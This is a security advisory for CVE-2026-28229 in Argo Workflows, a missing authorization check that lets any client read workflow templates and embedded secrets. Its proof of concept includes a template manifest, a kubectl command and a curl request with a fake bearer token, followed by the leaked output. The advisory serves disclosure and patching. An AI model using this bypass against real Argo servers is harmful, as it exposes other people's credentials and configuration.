GHSA-56PX-HM34-XQJ5
Vulnerability from github – Published: 2026-03-11 14:49 – Updated: 2026-03-11 20:43Summary
Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests.
Details
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72
Informers use the server’s rest config, so they read using server SA privileges.
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46
PoC
- Create template
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
name: leak-workflow-template
namespace: argo
spec:
templates:
- name: make-secret
resource:
action: create
manifest: |
apiVersion: v1
kind: Secret
metadata:
name: leaked-secret
type: Opaque
data:
password: c3VwZXJzZWNyZXQ=
Then apply that with kubectl apply -f poc.yml
2. Query Argo Server with a fake token
Result:
> kubectl apply -f poc.yml
workflowtemplate.argoproj.io/leak-workflow-template created
> curl -sk -H "Authorization: Bearer nothing" \
"https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template"
{"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n name: leaked-secret\\ntype: Opaque\\ndata:\\n password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n name: leaked-secret\ntype: Opaque\ndata:\n password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}
Impact
Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.7.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28229"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-11T14:49:37Z",
"nvd_published_at": "2026-03-11T16:16:40Z",
"severity": "HIGH"
},
"details": "### Summary\nWorkflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a `Authorization: Bearer nothing` token can leak sensitive template content, including embedded Secret manifests.\n\n### Details\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72\n\nInformers use the server\u2019s rest config, so they read using server SA privileges. \n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46\n\n### PoC\n1. Create template\n\n```yml\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata:\n name: leak-workflow-template\n namespace: argo\nspec:\n templates:\n - name: make-secret\n resource:\n action: create\n manifest: |\n apiVersion: v1\n kind: Secret\n metadata:\n name: leaked-secret\n type: Opaque\n data:\n password: c3VwZXJzZWNyZXQ=\n```\n\nThen apply that with `kubectl apply -f poc.yml`\n2. Query Argo Server with a fake token\n\n**Result:**\n\n```cmd\n\u003e kubectl apply -f poc.yml\nworkflowtemplate.argoproj.io/leak-workflow-template created\n\u003e curl -sk -H \"Authorization: Bearer nothing\" \\\n \"https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template\"\n{\"metadata\":{\"name\":\"leak-workflow-template\",\"namespace\":\"argo\",\"uid\":\"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c\",\"resourceVersion\":\"867394\",\"generation\":1,\"creationTimestamp\":\"REDACTED\",\"annotations\":{\"kubectl.kubernetes.io/last-applied-configuration\":\"{\\\"apiVersion\\\":\\\"argoproj.io/v1alpha1\\\",\\\"kind\\\":\\\"WorkflowTemplate\\\",\\\"metadata\\\":{\\\"annotations\\\":{},\\\"name\\\":\\\"leak-workflow-template\\\",\\\"namespace\\\":\\\"argo\\\"},\\\"spec\\\":{\\\"templates\\\":[{\\\"name\\\":\\\"make-secret\\\",\\\"resource\\\":{\\\"action\\\":\\\"create\\\",\\\"manifest\\\":\\\"apiVersion: v1\\\\nkind: Secret\\\\nmetadata:\\\\n name: leaked-secret\\\\ntype: Opaque\\\\ndata:\\\\n password: c3VwZXJzZWNyZXQ=\\\\n\\\"}}]}}\\n\"},\"managedFields\":[{\"manager\":\"kubectl-client-side-apply\",\"operation\":\"Update\",\"apiVersion\":\"argoproj.io/v1alpha1\",\"time\":\"REDACTED\",\"fieldsType\":\"FieldsV1\",\"fieldsV1\":{\"f:metadata\":{\"f:annotations\":{\".\":{},\"f:kubectl.kubernetes.io/last-applied-configuration\":{}}},\"f:spec\":{\".\":{},\"f:templates\":{}}}}]},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"inputs\":{},\"outputs\":{},\"metadata\":{},\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n name: leaked-secret\\ntype: Opaque\\ndata:\\n password: c3VwZXJzZWNyZXQ=\\n\"}}],\"arguments\":{}}}\n```\n\n### Impact\nAny client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.",
"id": "GHSA-56px-hm34-xqj5",
"modified": "2026-03-11T20:43:29Z",
"published": "2026-03-11T14:49:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-56px-hm34-xqj5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28229"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/commit/34afaf9c0c36f1ba8645d483ea4752cfc4a391e8"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-workflows"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/releases/tag/v3.7.11"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/releases/tag/v4.0.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Unauthorized access to Argo Workflows Template"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.